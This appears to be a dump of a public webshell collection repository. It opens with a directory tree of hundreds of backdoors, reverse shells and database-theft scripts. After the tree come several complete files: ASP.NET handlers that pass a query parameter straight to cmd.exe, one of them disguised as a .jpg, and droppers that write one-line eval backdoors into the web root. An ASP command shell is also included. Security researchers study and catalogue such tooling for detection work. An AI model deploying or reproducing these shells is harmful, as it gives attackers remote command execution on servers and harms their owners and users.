├── Aar
└── Axis2Shell-master.zip
├── Ascx
└── shell.ascx
├── Ashx
├── Hypn.ashx
├── include.ashx
├── shell.jpg
├── write_asp_file.ashx
├── write_aspx_file.ashx
└── xx.ashx
├── Asmx
├── Customize.asmx
└── usage.txt
├── Asp
├── 08小组内部交流专用.asp
├── 3fexe Shell.asp
├── 404 infiltrate team.asp
├── 80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一.asp
├── ASP Cmd Shell On IIS 5.1.asp
├── ASPYDrvsInfo.asp
├── AspRootkit 1.0 by BloodSword.asp
├── Aventis KlasVayv 1.0.asp
├── CmdAsp.asp
├── CyberSpy5.Asp
├── DJ团队.asp
├── ELMALISEKER Backd00r.asp
├── Elmali Seker.asp
├── Expdoor.com ASP专用小马.asp
├── File upload.asp
├── I.N.F HACKING CENTER.asp
├── JspWebShell By 绝对零度.asp
├── KOA ASP类 WebShell扫描工具.asp
├── NTDaddy v1.9.asp
├── PcAnywhere提权 Bin版本.asp
├── RHTOOLS 1.5 BETA(PVT) Edited By KingDefacer.asp
├── RHTOOLS 1.5 BETA(PVT).asp
├── RedHat Hacker.asp
├── RedHat Hacker.asp明文版.asp
├── Remote Explorer.asp
├── STHx 渗透小组专用 ASP小马.asp
├── Server Variables.asp
├── Stored Procedure Execute.aspx
├── TNTHK加密小马.asp
├── UnKnown 高级Vip防删收费版.asp
├── Web Shell.asp
├── Welcome To AK Team.asp
├── ZehirIV.asp
├── asp wget drag database.asp
├── aspSH.v1.asp
├── aspxshell.aspx
├── by EJDER.asp
├── bypass-iisuser-p.asp
├── devilzShell.asp
├── devshell.asp
├── download 下载文件.asp
├── forever5pi.asp
├── h4ck_Door.asp
├── hkmjj.asp
├── inDEXER And ReaDer.asp
├── list.cer
├── mssql.asp
├── r00ts小组过防火墙马.asp
├── r00ts无FSO组建大马.asp
├── radhat.asp
├── up.asp
├── upfile_write.asp
├── upfile_write.rar
├── xynu-Normal University.asp
├── 上传小马.asp
├── 不灭之魂.asp
├── 不灭之魂2013改进版本.asp
├── 传说中的hcker.asp
├── 传说中的草泥马4.0.asp
├── 修改属性.asp
├── 啊D小工具 - 目录读写检测 [ASP版].asp
├── 图片一句话
│ ├── JFIF.asp
│ ├── gif87a.jpg
│ ├── gif89a.asp
│ ├── img.jpg
│ └── mima_abcd.jpg
├── 土司搞基asp大马.asp
├── 在线数据库管理工具 1.5.asp
├── 密码：889.asp
├── 小强asp木马.asp
├── 小红帽.asp
├── 很好用的扫可读可写目录asp脚本xwdir.asp
├── 旁注 - 网站小助手.asp
├── 星外-华众-新网-虚拟主机提权专用Webshell Mumaasp.com发布.asp
├── 星外-华众-新网-虚拟主机提权专用Webshell.asp
├── 木马帮V1.1-火舌版.asp
├── 法克僵尸大马.asp
├── 海阳顶端网ASP木马＠2006PLUS - By Marcos.asp
├── 火狐NEW WebShell.asp
├── 炽天使.asp
├── 牛逼免杀提权隐藏大马.asp
├── 目录扫描.asp
├── 目录扫描读写马.asp
├── 红狼ASP木马--Anfly免杀版.asp
├── 草莓webshell.asp
├── 虚拟主机提权专用Webshell去后门版.asp
├── 虚拟机主机提权大马.asp
├── 银河舰队大马_2014版.asp
└── 银河舰队大马_2015专版asp大马.asp
├── Aspx
├── ASP.NET Web BackDoor.aspx
├── ASPX
├── ASPX Shell.aspx
├── ASPX one line Code Client by amxku.aspx
├── ASPXspy by NightRunner.aspx
├── ASPXspy.aspx
├── ASPX小马 - 黑兵社团.aspx
├── Antak Webshell.aspx
├── AspxSpy2014Final.aspx
├── Code by Bin.aspx
├── Command.aspx
├── MYSQL Manager -Asp.net Silic Group Hacker Army专用版本.aspx
├── SQL.aspx
├── Stored Procedure Execute.aspx
├── Web Sniffer.aspx
├── WebAdmin 2.X Final.aspx
├── WebSniff 1.0 Powered by C.C.T.aspx
├── awen asp.net webshell.aspx
├── cmdsql.aspx
├── devilzShell.aspx
├── filesystembrowser.aspx
├── fileupload.aspx
├── hec.aspx
├── view.aspx
├── wso.aspx
├── xxooxx.aspx
├── z8VSmO1418105414843.jpg
├── 上传马.aspx
├── 专版aspx汗血宝马.aspx
├── 从注册表中读存在路径.aspx
├── 冰锋刺客.aspx
├── 凝聚科技专用AspX大马 Bysunue.aspx
└── 国外牛逼大马.aspx
├── C
├── cmd.c
└── findsock.c
├── Cfm
├── ColdFusion.chm
├── cfSQL.cfm
├── cfexec.cfm
├── cfmShell.cfm
├── cmd.cfm
├── cmfshell.cmf
├── devshell.cfm
├── devshell.md
├── list.cfm
├── mycode12.cfm
├── xl.cfm
└── 一句话
│ └── ice.cfm
├── Cgi
├── Gamma Web Shell.cgi
└── devilzShell.cgi
├── Javascript
├── JSRat.ps1
└── README.md
├── Jsp
├── BackerHack JSP Manage-System 1.0.jsp
├── Command Execution (win32).jsp
├── GetShell.html
├── JFoler 1.0.jsp
├── JSP Backdoor Reverse Shell.jsp
├── JSP Shell 岁月联盟专用版本.jsp
├── JspDo Code By Xiao.3.jsp
├── JspHelper Codz By - Leo.jsp
├── JspSpy Codz By - Ninty.jsp
├── JspSpy Codz By - Ninty_1.jsp
├── JspSpy Private Codz By - Ninty.jsp
├── JspSpy Private Codz By - Ninty_encode.jsp
├── JspSpy.jsp
├── JspTqz.jsp
├── Jspspy web~shell V1.0 ※MADE by 孤水绕城 QQ540410588.jsp
├── Jsp反弹shell.txt
├── Mysql Database.jsp
├── Oracle Database.jsp
├── SJavaWebManageV1.4.jsp
├── Silic Group.jsp
├── XXOO.jsp
├── by Bagheera.jsp
├── cmdjsp.jsp
├── devilzShell.jsp
├── hahahaha小马.JSp
├── jshell ver 0.1.jsp
├── jshell ver 1.0.jsp
├── jspspy_k8.jsp
├── jspy.jsp
├── logger小马.jsp
├── login.jsp
├── pwnshell - an interactive jsp shell.jsp
├── 一句话
│ └── caidao.jsp
├── 上传小马.jsp
├── 内网扫描header.jsp
├── 内网探测.jsp
├── 反弹
│ ├── shell.jsp
│ └── spjspshell.jsp
├── 园长-jsp
│ ├── cat.jar
│ ├── cat.jsp
│ ├── cat.jspx
│ └── 使用说明.txt
├── 图片马
│ ├── 023.jsp
│ ├── 1427683968524.jpg
│ ├── demo.gif
│ └── 使用方法.txt
├── 小马.jsp
├── 新型JSP小马支持上传任意格式文件.jsp
├── 灭天远程管理.jsp
├── 老V.jsp
└── 苦咖啡专用.jsp
├── Jspx
├── base64.jspx
├── base64.md
├── cmd.jpg
├── cmd.jspx
├── jsp.jpg
├── jspspy.jspx
├── jspx.jspx
├── oo.jpg
└── paxmac.jspx
├── LICENSE
├── Mysql
└── mysql_audit_plugin
│ ├── README.md
│ ├── audit_null.c
│ └── audit_null.patch
├── Nginx
└── pwnginx-master.zip
├── Other
├── Axis2Shell
│ ├── README.md
│ ├── Utils.java
│ └── config.aar
├── File include Bypass
│ ├── includer.php
│ ├── includer.txt
│ ├── litteryi.txt
│ └── litteryixx.ASP
├── acat
│ ├── ACat-src.zip
│ ├── ACat-附数据库驱动-jdk1.5.jar
│ ├── ACat-附数据库驱动.jar
│ ├── ACat.jar
│ ├── ACat_jdk1.5.jar
│ └── readme.md
├── cat.aar
│ ├── Readme.md
│ ├── axis2 利用小工具cat.aar.zip
│ └── axis2 利用小工具cat.pdf
├── jdk1.3webshell
│ ├── readme.MD
│ ├── test.ear
│ └── test.war
└── reGeorg-master.zip
├── Php
├── 12309.php
├── 404 Not Found.php
├── 404.php
├── 404webshell.php
├── 529.php
├── A robust backdoor script made by Daniel Berliner.php
├── AK-74 Security Team Web Shell Beta Version.php
├── AK-74 Security Team.php
├── ASPYDrvsInfo.php
├── Ajax_PHP Command Shell.php
├── Ani-Shell.php
├── Antichat Shell v1.3.php
├── Antichat Shell. Modified by Go0o$E.php
├── Antichat Shell.php
├── Antichat Socks5 Server v 1.0.php
├── Antichat_Shell_v1.3.php
├── Aria cPanel cracker version 1.0 - Edited By KingDefacer.php
├── AventGrup-Sincap 1.0.php
├── Ayyildiz Tim -AYT- Shell v 2.1 Biz.php
├── Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
├── B374k Beta ShElL V1.php
├── BLaSTER.php
├── Back Connect.php
├── Backdoor php v0.1 Coded By Charlichaplin.php
├── Backup script on server.php
├── Bnkqbakq.php
├── C99madShell v. 2.0 madnet edition.php
├── Carbylamine PHP Encoder.php
├── CasuS 1.5.php
├── Changing CHMOD Permissions Exploit.php
├── Command Shell.php
├── Confusion to encrypt php webshell.php
├── Coppermine Photo Gallery = 1.4.3 remote cmmnds xctn.php
├── CrystalShell v.1.php
├── Cyber Shell.php
├── DAws.php
├── DDoS attack.php
├── DTool Pro.php
├── Deface Keeper 0.2.php
├── Dive Shell 1.0 - Emperor Hacking Team.php
├── Dive_Shell_1.0_Emperor_Hacking_Team.php
├── Dx.php
├── Edited By KingDefacer.php
├── EgY_SpIdEr ShElL V2.php
├── FaTaL Shell v1.0 - Edited By KingDefacer.php
├── GFS web-shell ver 3.1.7 - PRiV8.php
├── GFS_web-shell_ver_3.1.7_-_PRiV8.php
├── GRP WebShell 2.0 release build 2018 (C)2006,Great.php
├── Gamma Web Shell.php
├── I-47 v1.3.php
├── KA_uShell 0.1.6.php
├── KAdot Universal Shell v0.1.6.php
├── KAdot_Universal_Shell_v0.1.6.php
├── Knull Shell.php
├── LOTFREE PHP Backdoor v1.5.php
├── Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php
├── Loader'z WEB Shell v 0.1.0.2.php
├── Loaderz WEB Shell.php
├── Lolipop.php - Edited By KingDefacer.php
├── Macker's Private PHPShell.php
├── Matamu Mat.php
├── Micro_Webshell.php
├── Moroccan Spamers Ma-EditioN By GhOsT.php
├── Moroccan_Spamers_Ma-EditioN_By_GhOsT.php
├── MySQL Web Interface Version 0.8.php
├── MySQL Web Shell.php
├── Mysql interface v1.0.php
├── Mysql udf by M4ster.php
├── Mysql_interface_v1.0.php
├── NCC Shell v1.0.0.php
├── NCC-Shell.php
├── NGH.php
├── NTDaddy v1.9.php
├── NetworkFileManagerPHP.php
├── Non-alphanumeric.php
├── PH Vayv.php
├── PHANTASMA.php
├── PHP Shell.php
├── PHP Web Shell by oTTo.php
├── PHP 搜索可读可写目录脚本.php
├── PHP-Shell-Detector-master.zip
├── PHPJackal v1.9.php
├── PHPRemoteView.php
├── PHP小马 - ExpDoor.com.php
├── PHP整站打包程序-By DoDo.php
├── PHP检测文件夹权限.php
├── PHVayv.php
├── PH_Vayv.php
├── Password Hasher for PHP Shell 2.1.php
├── Php Backdoor v 1.0 by ^Jerem.php
├── PhpShell 2.0.php
├── PhpSpy Ver 2006.php
├── PostgreSQL数据库操纵.php
├── Predator.php
├── Private x0rg Web Hosting Bypass.php
├── README.md
├── Rootshell.v.1.0.php
├── SPS-3.0免杀.php
├── SST Sheller.php
├── STNC WebShell v0.8.php
├── Safe mode breaker.php
├── Safe0ver Shell -Safe Mod Bypass By Evilc0der.php
├── Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php
├── Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php
├── Security House - Shell Center - Edited By KingDefacer.php
├── Serv-U本地权限提升工具.php
├── Shell Commander.php
├── Shell [ci] .Biz was here.php
├── Silic Group Hacker Army - BlackBap.Org.php
├── Silic Group php Webshell v3.php
├── SimAttacker - Version 1.0.0 - Edited By KingDefacer.php
├── SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php
├── SimShell 1.0 - Simorgh Security MGZ.php
├── SimShell_1.0_-_Simorgh_Security_MGZ.php
├── Simple_PHP_backdoor_by_DK.php
├── Sincap 1.0.php
├── Small Shell - Edited By KingDefacer.php
├── Small Web Shell by ZaCo.php
├── SnIpEr_SA Shell.php
├── Sosyete Safe Mode Bypass Shell - Edited By KingDefacer.php
├── Spider PHP Shell (SPS-3.0).php
├── Uploader.php
├── Uploading.php
├── W3D Shell.php
├── WSO2.7 404 Error Web Shell.php
├── Web-shell (c)ShAnKaR.php
├── WebShell.php
├── Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition.php
├── Win MOF Shell.php
├── WinX Shell.php
├── WordPress Shell.php
├── Worse Linux Shell.php
├── Worse Linux Shell.php.php
├── ZoRBaCK Connect.php
├── ZyklonShell.php
├── aZRaiLPhp v1.0.php
├── aZRaiLPhp_v1.0.php
├── accept_language.php
├── angel.php
├── ava Server Faces MiniWebCmdShell 0.2 by HeartLESS.php
├── azrail 1.0 by C-W-M.php
├── b374k-mini-shell-php.php.php
├── b374k.php.php
├── backdoorfr.php
├── backupsql.php
├── bdotw44shell.php
├── bdshell.php
├── bitwise.php
├── blackbin
│ ├── 404super.php
│ └── v1
│ │ ├── code.php
│ │ ├── dev_core.php
│ │ ├── make2.php
│ │ └── readme.md
├── bns-php-shell
│ ├── LICENSE
│ ├── README.md
│ ├── client.php
│ └── server.php
├── boffmax_v1.0_web_shell_by_the-c0de_team(1).php
├── bypass safemodel.php
├── c0derz shell [csh] v. 0.1.1 release.php
├── c999shell.php
├── c99_locus7s.php
├── c99_madnet.php
├── c99_webshell.php
├── change.php
├── cls_Base.php
├── cpanel.php
├── cw.php
├── cybershell.php
├── dC3 Security Crew Shell PRiV.php
├── dC3_Security_Crew_Shell_PRiV.php
├── devilzShell.php
├── erne.php
├── ex0shell.php
├── exp.php
├── fatal.php
├── from_the_wild1.php
├── ftpsearch.php
├── g00nshell-v1.3.php
├── get.php
├── gfs_sh.php
├── h4ntu shell [powered by tsoi].php
├── h4ntu_shell_[powered_by_tsoi].php
├── hiddens shell v1.php
├── iMHaPFtp.php
├── ironshell.php
├── kolang-bypass.php
├── kral.php
├── lama's'hell v. 3.0.php
├── lamashell.php
├── license.zip
├── listfile.php
├── load_shell.php
├── lolipop.php
├── lostDC shell.php
├── lostDC.php
├── matamu.php
├── megabor.php
├── mmm.php
├── mod_joomla_shell.zip
├── mof提权带回显带清楚命令版本.php
├── moon_1php.php
├── myshell.php
├── mysql_tool.php
├── nShell v1.0.php
├── navicat_tunnel.php
├── nsT View.php
├── nshell.php
├── pHpINJ.php
├── pHp一句话扫描脚本程序.php
├── pas.php
├── php-backdoor.php
├── php-extension-backdoor
│ ├── README.md
│ ├── lin
│ │ ├── backdoor.c
│ │ └── config.m4
│ └── win
│ │ ├── hideme.cpp
│ │ ├── stdafx.h
│ │ └── zend_config.w32.h
├── php-findsock-shell.php
├── php-include-w-shell.php
├── php-reverse-shell.php
├── phpinfo.php
├── phpshell17.php
├── phpwebbackup.php
├── php版iisspy.php
├── php读取iis.php
├── pws.php
├── qsd-php-backdoor.php
├── r57.biz Dq99Shell.php
├── r57_Mohajer22.php
├── r57_iFX.php
├── r57_kartal.php
├── r57shell v.1.42 - Edited By KingDefacer.php
├── r57shell.php
├── r57shell127.php
├── reverseshell-poc.php
├── robot.php
├── rootshell.php
├── ru24_post_sh.php
├── s72 Shell v1.0 Codinf by Cr@zy_King.php
├── s72 Shell v1.1 Coding.php
├── s72_Shell_v1.1_Coding.php
├── safe0ver.php
├── scanner.php
├── simattacker.php
├── simple-backdoor.php
├── simple_cmd.php
├── small.php
├── sniffer.php
├── soldierofallah.php
├── sosyete.php
├── spygrup.php
├── stres.php
├── sure.php
├── sys32.php
├── t57shell.php
├── toby57解析加密一句话木马.php
├── tryag.php
├── udf.dll 专用网马.php
├── up.php
├── wordpress backdoor.php
├── wp-conf.php
├── wp-conten1_pass_KoR345Ker78DSa.php
├── www.zjjv.com.php
├── xnonymoux_webshell_ver_1.0.php
├── zaco.php
├── zacosmall.php
├── 上传马.php
├── 中国木马资源网- WwW.7jyewu.Cn.php
├── 中国木马资源网-WwW.MumaSec.TK.php
├── 中转bypass
│ ├── client1.php
│ ├── client2.php
│ ├── server1.php
│ └── server2.php
├── 仗剑孤行搜索可读可写目录脚本.php
├── 图片一句话
│ ├── 404.php
│ ├── JFIF.jpg
│ ├── bypass_RCE_php.gif
│ ├── gif89a.jpg
│ ├── phppng.png
│ ├── xx.png
│ └── 图片马.jpg
├── 在线exp专用免杀版.php
├── 数据库
│ ├── Adminer - Compact database management.php
│ ├── ntunnel_mysql.php
│ └── php MySQL Database Backup Script.php
├── 极其隐蔽的pHp小马穿插在正常页面中.php
└── 菊花聊天室.php
├── Pl
├── Cgitelnet.pl
├── GO.cgi.pl
├── Perl Web Shell by RST-GHC.pl
├── Silic Group_cgi.pl
├── Silic Group_readme.txt
├── WebShell.cgi.pl
├── cmd.pl
├── dc.pl
├── exim.pl
├── hmass (priv8 mass defacor).pl
├── inc.pl
├── ka0tic.pl
├── list.pl
├── lurm_safemod_on.cgi.pl
├── perl-reverse-shell.pl
├── perlcmd.cgi
├── pps-pl
│ ├── pps-v1.0.pl
│ ├── pps-v3.0.pl
│ ├── pps-v3.5.pl
│ └── pps-v4.0.pl
├── rcpexp.pl
├── remot shell.pl
├── telnet.cgi.pl
├── telnet.pl
└── up.pl
├── README.md
├── SSH
├── ReverseSSH-Backdoor
│ ├── Readme.txt
│ ├── revsshclient.py
│ └── revsshserver.py
├── custom-ssh-backdoor
│ ├── README.md
│ ├── client.py
│ ├── print.png
│ ├── server.py
│ └── test_rsa.key
└── sidedoor
│ ├── COPYING
│ ├── README.md
│ ├── config
│ ├── debian
│ ├── changelog
│ ├── compat
│ ├── control
│ ├── copyright
│ ├── rules
│ ├── sidedoor.default
│ ├── sidedoor.dirs
│ ├── sidedoor.docs
│ ├── sidedoor.install
│ ├── sidedoor.links
│ ├── sidedoor.postinst
│ ├── sidedoor.postrm
│ ├── sidedoor.service
│ ├── sidedoor.upstart
│ └── source
│ │ └── format
│ ├── sidedoor
│ ├── ssh_client_config_example
│ └── sudoers
├── Soap
└── Customize.soap
├── Udp
├── LiveHack
│ ├── __init__.py
│ ├── livehack.py
│ ├── logger.py
│ ├── socket_live8.py
│ ├── struct.py
│ └── udpio.py
├── console.py
└── liveterm.py
├── WeBaCoo
├── CHANGELOG
├── LICENSE
├── MSF_README
├── README
├── TODO
├── msf_webacoo_module.rb
└── webacoo.pl
├── gdog
├── .gitignore
├── LICENSE
├── README.md
├── client.py
├── data
│ └── .gitignore
├── gdog.py
├── requirements.txt
└── shellcode_generate.py
├── icmp
├── README.md
├── icmpsh-m.c
├── icmpsh-m.pl
├── icmpsh-s.c
├── icmpsh.exe
├── icmpsh_m.py
├── run.sh
└── screenshots
│ ├── response_packet_from_icmpsh_slave_containing_output_of_command_whoami.png
│ ├── running_icmpsh_master_on_attacker_machine.png
│ └── running_icmpsh_slave_on_target.png
├── jar
├── readme.txt
└── servlet-api-3.04.jar
├── misc
├── ASP_Client.html
├── Asp_Aspx_Php_V1.jpg
├── Asp_Aspx_Php_V2.jpg
├── Asp_Aspx_Php一句话合集.txt
├── caidao-20141213.zip
├── caidao-20160622.zip
├── jpg_payload.php
├── 合成图片马命令.txt
└── 零魂PHP一句话木马客户端.htm
├── nodejs
└── customize.js
├── openfire
├── openfire-test_plugin.zip
└── readme.txt
├── osx
└── osx-ping-backdoor
│ ├── LICENSE.md
│ ├── README.md
│ └── ping.c
├── pwnginx
├── README.md
├── client
│ ├── Makefile
│ ├── functions.c
│ ├── functions.h
│ ├── pwnginx
│ └── pwnginx.c
└── module
│ ├── config
│ ├── config.h
│ ├── ngx_http_pwnginx.c
│ ├── pwnginx.c
│ ├── pwnginx.h
│ └── socks5.h
├── python
├── Phyton Shell.py
├── cgi-python.py
├── d00r_py3.py
├── darkBC.py.txt
├── llehs.py
├── pyspy.py
├── python3
│ ├── Client.py
│ ├── README.md
│ ├── Server.py
│ ├── about.txt
│ └── setup.py
├── sctp_reverse.py.txt
├── smtpd.py
├── webllehs.py
├── wh_bindshell.py
└── xshock-0.1.tar.gz
├── reGeorg-master
├── LICENSE.html
├── LICENSE.txt
├── README.md
├── reGeorgSocksProxy.py
├── tunnel.ashx
├── tunnel.aspx
├── tunnel.js
├── tunnel.jsp
├── tunnel.php
└── tunnel.tomcat.5.jsp
├── ruby
└── webshell.rb
├── servlet
├── CmdServlet.java
├── ListServlet.java
└── UpServlet.java
├── sh
├── cmd.sh
├── list.sh
└── up.sh
├── war
├── one.war
├── one
│ ├── META-INF
│ │ └── MANIFEST.MF
│ ├── WEB-INF
│ │ └── web.xml
│ ├── css.jsp
│ ├── css1.jsp
│ ├── one.jsp
│ └── one1.jsp
└── test3693.war
├── xml
├── xml.asp
├── xml.aspx
├── xml.php
└── xml
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── WebShell系列(一)---XML.txt
│ ├── xslt.asp
│ ├── xslt.aspx
│ └── xslt.php
├── xssshell-xsstunnell.zip
└── 脱裤脚本
├── MSSQL控制程序.asp
├── mssql.asp
├── mssql.aspx
├── mysql.aspx
├── mysql
├── config.inc.php
├── data
│ └── index.htm
├── db_mysql.class.php
├── db_mysql_error.inc.php
├── index.php
├── pnbak.css
├── pnbak.js
└── zip.func.php
├── mysql脱库.php
├── oracle.jsp
├── oracle.txt
├── phpwebbackup.php
├── xx.php
└── 脱库工具.php
/Aar/Axis2Shell-master.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Aar/Axis2Shell-master.zip
--------------------------------------------------------------------------------
/Ascx/shell.ascx:
--------------------------------------------------------------------------------
1 |
12 |
13 |
18 |
--------------------------------------------------------------------------------
/Ashx/Hypn.ashx:
--------------------------------------------------------------------------------
1 | <% @ webhandler language="C#" class="AverageHandler" %>
2 |
3 | using System;
4 | using System.Web;
5 | using System.Diagnostics;
6 | using System.IO;
7 |
8 | public class AverageHandler : IHttpHandler
9 | {
10 | /* .Net requires this to be implemented */
11 | public bool IsReusable
12 | {
13 | get { return true; }
14 | }
15 |
16 | /* main executing code */
17 | public void ProcessRequest(HttpContext ctx)
18 | {
19 | Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
20 | string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
21 |
22 | ctx.Response.Write("");
23 | ctx.Response.Write("
");
24 | ctx.Response.Write("");
25 |
26 | /* command execution and output retrieval */
27 | ProcessStartInfo psi = new ProcessStartInfo();
28 | psi.FileName = "cmd.exe";
29 | psi.Arguments = "/c "+command;
30 | psi.RedirectStandardOutput = true;
31 | psi.UseShellExecute = false;
32 | Process p = Process.Start(psi);
33 | StreamReader stmrdr = p.StandardOutput;
34 | string s = stmrdr.ReadToEnd();
35 | stmrdr.Close();
36 |
37 | ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
38 | ctx.Response.Write("");
39 | ctx.Response.Write("
");
40 | ctx.Response.Write("By @Hypn, for educational purposes only.");
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/Ashx/include.ashx:
--------------------------------------------------------------------------------
1 | <%@ WebHandler Language="C#" class="Handler" %>
2 | using System;
3 | using System.Web;
4 | using System.IO;
5 | public class Handler : IHttpHandler {
6 |
7 | public void ProcessRequest (HttpContext context) {
8 | context.Response.ContentType = "text/plain";
9 | StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
10 | file1.Write("");
11 | file1.Flush();
12 | file1.Close();
13 | }
14 | public bool IsReusable {
15 | get {
16 | return false;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Ashx/shell.jpg:
--------------------------------------------------------------------------------
1 | <% @ webhandler language="C#" class="AverageHandler" %>
2 |
3 | using System;
4 | using System.Web;
5 | using System.Diagnostics;
6 | using System.IO;
7 |
8 | public class AverageHandler : IHttpHandler
9 | {
10 | /* .Net requires this to be implemented */
11 | public bool IsReusable
12 | {
13 | get { return true; }
14 | }
15 |
16 | /* main executing code */
17 | public void ProcessRequest(HttpContext ctx)
18 | {
19 | Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
20 | string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
21 |
22 | ctx.Response.Write("");
23 | ctx.Response.Write("
");
24 | ctx.Response.Write("");
25 |
26 | /* command execution and output retrieval */
27 | ProcessStartInfo psi = new ProcessStartInfo();
28 | psi.FileName = "cmd.exe";
29 | psi.Arguments = "/c "+command;
30 | psi.RedirectStandardOutput = true;
31 | psi.UseShellExecute = false;
32 | Process p = Process.Start(psi);
33 | StreamReader stmrdr = p.StandardOutput;
34 | string s = stmrdr.ReadToEnd();
35 | stmrdr.Close();
36 |
37 | ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
38 | ctx.Response.Write("");
39 | ctx.Response.Write("
");
40 | ctx.Response.Write("By @Hypn, for educational purposes only.");
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/Ashx/write_asp_file.ashx:
--------------------------------------------------------------------------------
1 | <%@ WebHandler Language="C#" class="Handler" %>
2 | using System;
3 | using System.Web;
4 | using System.IO;
5 | public class Handler : IHttpHandler {
6 |
7 | public void ProcessRequest (HttpContext context) {
8 | context.Response.ContentType = "text/plain";
9 | StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
10 | file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
11 | file1.Flush();
12 | file1.Close();
13 | }
14 | public bool IsReusable {
15 | get {
16 | return false;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Ashx/write_aspx_file.ashx:
--------------------------------------------------------------------------------
1 | <%@ WebHandler Language="C#" Class="Handler" %>
2 | using System;
3 | using System.Web;
4 | using System.IO;
5 | public class Handler : IHttpHandler {
6 | public void ProcessRequest (HttpContext context) {
7 | context.Response.ContentType = "text/plain";
8 | string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"keio\"]"+",\"unsafe\");%>Hey web master,Have a nice day o.O? I hope so! HaHa";
9 | StreamWriter file1= File.CreateText(context.Server.MapPath("query.aspx"));
10 | file1.Write(show);
11 | file1.Flush();
12 | file1.Close();
13 | }
14 | public bool IsReusable {
15 | get {
16 | return false;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Ashx/xx.ashx:
--------------------------------------------------------------------------------
1 | <%@ WebHandler Language="C#" Class="Handler" %>
2 | using System;
3 | using System.Web;
4 | using System.IO;
5 | public class Handler : IHttpHandler {
6 | public void ProcessRequest (HttpContext context) {
7 | context.Response.ContentType = "text/plain";
8 | string show="<% @Page Language=\"Jscript\"%"+"><%Response.Write(eval(Request.Item"+"[\"xiaoma\"]"+",\"unsafe\"));%>Hey web master,Have a nice day o.O? I hope so! HaHa";
9 | StreamWriter file1= File.CreateText(context.Server.MapPath("query.aspx"));
10 | file1.Write(show);
11 | file1.Flush();
12 | file1.Close();
13 | }
14 | public bool IsReusable {
15 | get {
16 | return false;
17 | }
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Asmx/Customize.asmx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asmx/Customize.asmx
--------------------------------------------------------------------------------
/Asmx/usage.txt:
--------------------------------------------------------------------------------
1 | 地址填写:http://127.0.0.1/Customize.asmx/Chopper 密码:z
2 |
--------------------------------------------------------------------------------
/Asp/08小组内部交流专用.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/08小组内部交流专用.asp
--------------------------------------------------------------------------------
/Asp/3fexe Shell.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/3fexe Shell.asp
--------------------------------------------------------------------------------
/Asp/404 infiltrate team.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/404 infiltrate team.asp
--------------------------------------------------------------------------------
/Asp/80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一.asp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xl7dev/WebShell/f7cd87feb5ef0375fc7a7cbcfea15713a3fb5c5b/Asp/80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一.asp
--------------------------------------------------------------------------------
/Asp/ASP Cmd Shell On IIS 5.1.asp:
--------------------------------------------------------------------------------
1 | <%
2 |
3 | ' ASP Cmd Shell On IIS 5.1
4 | ' brett.moore_at_security-assessment.com
5 | ' http://seclists.org/bugtraq/2006/Dec/0226.html
6 |
7 |
8 | Dim oS,oSNet,oFSys, oF,szCMD, szTF
9 | On Error Resume Next
10 | Set oS = Server.CreateObject("WSCRIPT.SHELL")
11 | Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
12 | Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
13 | szCMD = Request.Form("C")
14 | If (szCMD <> "") Then
15 | szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
16 | ' Here we do the command
17 | Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
18 | """",0,True)
19 | response.write szTF
20 | ' Change perms
21 | Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
22 | everyone:F",0,True)
23 | Set oF = oFSys.OpenTextFile(szTF,1,False,0)
24 | End If
25 | %>
26 |
29 | Machine: <%=oSNet.ComputerName%>
30 | Username: <%=oSNet.UserName%>
31 | <%
32 | If (IsObject(oF)) Then
33 | On Error Resume Next
34 | Response.Write Server.HTMLEncode(oF.ReadAll)
35 | oF.Close
36 | Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
37 | End If
38 |
39 | %>
40 |
41 |
42 |
--------------------------------------------------------------------------------
